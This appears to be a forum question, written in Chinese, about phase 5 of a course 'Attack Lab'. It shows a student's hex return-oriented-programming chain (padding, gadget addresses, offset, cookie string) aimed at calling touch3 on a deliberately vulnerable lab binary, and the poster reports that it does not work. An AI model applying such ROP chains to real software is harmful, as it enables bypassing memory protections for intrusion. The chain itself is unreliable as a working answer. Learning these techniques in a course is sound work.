这是攻击实验室的第5阶段。由于地址随机化和不可执行的堆栈,我们应该使用面向返回的编程(ROP)将给定cookie值的字符串指针作为参数传递给名为touch3的函数。我无法更好地描述这个问题,因为到目前为止,我仅能理解所有问题,完整说明在此PDF页面10上: Attack Lab!
这是我的答案,但是由于它不起作用,所以我不确定它有什么问题。 here is my objdump!
00 00 00 00 00 00 00 00 /* buffer */
00 00 00 00 00 00 00 00 /* buffer */
00 00 00 00 00 00 00 00 /* buffer */
D6 1a 40 00 00 00 00 00 /* mov %rsp,%rax == 48 89 e0 */
2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7 */
3D 1a 40 00 00 00 00 00 /* pop rax == 58 */
48 00 00 00 00 00 00 00 /* offset */
e4 1a 40 00 00 00 00 00 /* mov %eax,%edx == 89 c2 */
0B 1a 40 00 00 00 00 00 /* mov %edx,%ecx == 89 d1 */
FE 1a 40 00 00 00 00 00 /* mov %ecx,%esi == 89 ce */
5a 1a 40 00 00 00 00 00 /* lea add_xy */
2D 1a 40 00 00 00 00 00 /* mov %rax,%rdi == 48 89 c7 */
80 19 40 00 00 00 00 00 /* touch 3 address */
34 32 33 32 32 33 37 33 /* cookie as string */
我遇到的一个问题是,基于某些寄存器的movq指令的编码,我在代码场中发现了多个功能,我很困惑,哪个是那个功能。
我的逻辑正确吗?有什么错误吗?为什么它不起作用?
谢谢